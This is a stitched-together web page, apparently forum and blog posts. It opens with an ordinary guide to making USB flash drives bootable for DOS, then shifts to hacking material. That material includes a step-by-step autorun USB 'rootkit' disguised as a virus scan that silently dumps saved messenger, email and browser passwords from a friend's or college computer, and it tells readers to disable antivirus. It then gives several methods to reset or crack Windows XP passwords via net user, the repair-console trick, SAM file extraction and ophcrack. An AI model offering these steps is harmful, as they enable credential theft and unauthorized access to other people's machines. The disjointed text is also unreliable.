For starters this is still a new science and many people have had good luck with at least one of these methods and others have not. Note that flash drives are often also called thumb drives, keychain drives, pendrives, etc.


1. The PC has to support booting from a USB flash drive. There may be anywhere from 1-3 items to change in the BIOS to make this possible assuming your BIOS supports it. Some bios's may refer to your flash drive as a USB floppy or USB zip.
2. The USB flash drive must support booting from it in general.
3. The flash drive must contain the boot/system files.
4. The flash drive must have bootsector area. This is done with special utilities.
5. References to "A:" drive lines in the autoexec.bat and/or config.sys files you copy to the drive after you make it bootable may result in errors.
6. You "may" have to format your floppy disk first in WinXP before you create a bootdisk as XP may "not" like working later on with a disk formatted otherwise.
7. Included below is a bootable ISO of DOS 7.1 which may be used with some of these methods if you do not have a 1.44 drive.


Method 1 - Make your flash drive bootable using Bart's mkbt util: | Alt:

Put a bootable floppy disk in your A: drive or create one using Windows.
Download and unpack to to new temp folder you create.
Go to the temp folder.
Extract the bootsector from the bootable floppy disk. eg Open a DOS Window and go to the directory where you extracted MKBT. Type:

mkbt -c a: bootsect.bin

The boot sectors from the bootable floppy disk have just been saved to a file in the temp folder you created.

Format the flash drive in FAT or FAT16.

Copy the bootsector to the flash drive. Open a DOS Window and go to the folder where you extracted MKBT. Type:

mkbt -x bootsect.bin Z:

"Z" represents the flash drive drive Letter. So if your flash drive has another drive letter, then change the "Z" accordingly.

Now you can [grin] "should" be able to copy the utils you need to the pen drive.


Method 2 - Try these 2 HP/Compaq USB Flash Drive Utilities. They work with many other brands of flash drives as well.

HP USB Disk Storage Format Tool Version 2.0.6

HP Drive Key Boot Utility Version 7.41


Method 3 - Third Party Links

Recall I did say it's a new science.


Method 4 - A Bootdisk.Com Visitor Suggested

Here is my another method for creating dos bootable USB sticks using windows format.

1. From Win98 DOS-Prompt type "SYS {USBDriveLetter}:" or "FORMAT {USBDriveLetter} /U /S". If from WinXp then from start->run execute format.exe copied from win95 or win98.


2. Simply by enabling copy system files in windows explorer format window. By default it is disabled for non-floppy drives. To enable it use windows enabler program from an whoila it works


Method 5 - Another Bootdisk.Com Fan Suggested - Thanks Keith

First if you don't have a physical floppy drive (and don't want one) you can use the [free] "virtual floppy driver" from here:

With that you get an A: drive and can manipulate a floppy image as if you were using real floppy. You can then use that image to make a bootable CD. It's not that user friendly but once you get how it works it does work perfectly.

Even cooler you can use a "raw write" utility like dd for windows to write the floppy image directly to your USB thumb drive. Even without that famous HP utility to do the magic this will make your USB thumb drive bootable. The 'dd' ported to Windows is located here:

Another trick you can use with that dd utility involves MS VritualPC (which is free). You can create a virtual machine/virtual hard drive, set it up the way you want then use dd to "raw write" the virtual hard drive image to the thumb drive; this will make the thumb drive identical to the image, including bootable (again, no HP utilities required).

Of course, your thumb drive will effectively have the capacity the size if the image in question (your 1GB flash drive will effectively be 1.44 Megs).

Hacking through USB drive works in an xp ,vista

Today I will show you how to hack Passwords using an USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]open=launch.batACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista

it is not hacking is just changing the password.hacking the password means from ur PC u get the password of remote may be administrator password,email password or anything.u people r talking abt the "net user " command.if u want to change any user password may it be admin,or any other local>>cmd>>now cd\>>net user administrator xyz1@here the password of admin would be "xyz1@"u can also add/del new user with this command.use it in XPrun>>cmd>>cd\>>net user santa abc234% /addfor deleting this user use /del instead of /add.any problem in this command scrap me


The windows admin password or any account password can be hacked without access to XP or even before XP boots, called bots or password crackers, There are Linux distro CDs out there that are bootable and that read the microsoft SAM database that stores all the passwords and even allows to modify it. It takes a bootable floopy or a CD and less than 20 seconds to hack any windows password as long as you have physical access to the PC and can change the boot sequence to boot from the CD or the floopy.The one I use is it works everytime. Another one is called Hirens Boot CD. Google it. Its got password reset utilitles and is one of the best compilation of programs i have ever seen. P.S YOU DONT NEED ADMIN PRIVILIGES TO THE SYSTEM [YOU DONT EVEN BOOT TO WINDOWS AT ALL], ALL YOU NEED IS TO BE ABLE TO MODIFY THE BIOS TO BOOT TO THE CD OR FLOPPY AND THE REST IS WALK IN THE CLOUDS.

Only the Key to The Lock

just press "CTRL"+"SHIFT"+"DEL" at the LOG ON screen it will display a new window that will be blank asking for name of admin and its password. Now JUST type "Administrator" without Quotes and your done!


Just insert xp bootable cd and start installationit will ask u to repair then ignore it and say enter to continue.this time it will again ask U to repair ur previous micorsoft version to repair.this time say 'r' to repairthen all installation files will copied to Ur old folder windows.when U'll see the windows dat 39 mins are remaining then just press shift+f10u'll go to command prompthere U've to type command line given bellownusrmgr.cpl and hit enterUr control panel will appear, here select administrator account and change/remove its password.Or if administrator account is not displayed then create an account with administrative rights. and let it continued........Ok, I know it is too long procedure but at least U'll not lose ur data or setting..........


This post covers most of the ways of cracking windows XP users’ password.
Method 1:
If you have an administrator account (Not Guest)
then the XP users’ passwords can be reset using command prompt.
Go to the task-bar and click on the Start button, then click on run and in the place given on dialog box type “command”, press enter.
Now In the Command prompt type “net user” the screen will display the list of users available on machine
suppose there are three administrator users with the name of admin1, admin2 and admin3
then the password of any user can be changed by logging into the account of any one administrator
for example if we want to change the password of admin1
then we can change it from the following command
net user admin1 password
similarly for other desired users
The general syntax is for changing password is
net user
Limitations: The above method will only work if you are logged in as the administrator user.

Method 2:
Windows Recovery option,
Boot from the Windows XP CD and press enter when you are prompted to Install Windows copy, on the next screen there is a repair existing Windows version. This method is also known as windows recovery method,
The repair option will take as much time as the installation would have taken because the Windows file-system is replaced including the SAM file where the password is stored.
whereas the users’ setting remain untouched.
Thus the users’ password is reset to NULL value.
#In repair mode you have another hole to modify the password.It is easier.The steps are as following.
Boot from xp bootable.After license agreement is done(pressing f8) select the target window for repair.
After file copy completed machine will restart.And repair process will start.You will see ‘installing devices’ 39 minutes left etc. at bottom left of your screen.
Now press Shift+f10.A console(command window) will open.
type nusrmgr.cpl and hit enter.This will let you to enter in the user account setting.Now change the password.You will not be asked for old password. Just type the new password there.
Continue the repair process.It is strongly recommended that you continue the repair until it is completed.
You are done, the password is replaced.The password strength does not matter in this case.
Method 3:
Boot your computer from a live Linux CD or DVD which has an NTFS/HPFS file-system support.
Then Mount the drive which has Windows copy installed on it. Copy the sam file on the location
Which will be mentioned as /media/disk-1/Windows/System32/config/sam
It is a common misconception that sam file can be viewed through normal text editor, sam file isnt a normal text file.
Gnome, KDE or vim text Editors won’t display the content of this file
Open the file using Emacs Editor (available in nearly all the distributions of Live Linux). It will be hard to find the the password hashes, so go for the user-names which are not encrypted, just after the user-names passwords’ hashes can be found out, copy the code between “%” sign and on the the Google search for the rainbow tables, They will provide the decrypted value which have already been brute-forced earlier. This is isn’t a sure shot method, as the rainbow project is still under development. The password can be set to NULL by deleting the content, but this might result in the corruption of the sam file, and recovery is the only option left after it.
Limitations: This Method can corrupt your SAM file, which may lead to a repair of Windows XP, and you can risk your personal data with that.
Method 4:
OPHcrack method.
This is a sure shot password recovery method based upon bruteforcing.
This Live CD is based upon the slax LiveCD v.5.1.7. It has been customized to include ophcrack 2.3.3 and the SSTIC04-10k tables set. It is able to crack 99.9%% of alphanumeric passwords. Since the tables have to be loaded into memory, cracking time varies with the amount of available RAM. The minimum amount of RAM required is 256MB (because the LiveCD uses a lot of it). The recommended amount is 512MB. Ophcrack will auto-detect the amout of free memory and adapts its behaviour to be able to preload all the tables it can.
A shell script launched at the beginning of the X session(Session for managing your desktop) does the job of finding the Windows partition and starting appropriate programs to extract and crack password hashes. It will look for all partitions that contains hashes. If more than one are found, you will have to choose between them.
If your partition is not detected, make sure your the partition containing the hashes you want to crack is mounted and the use ophcrack ‘Load from encrypted SAM’ function to recover your Windows hashes. Then click ‘Launch’ and the cracking process will start.
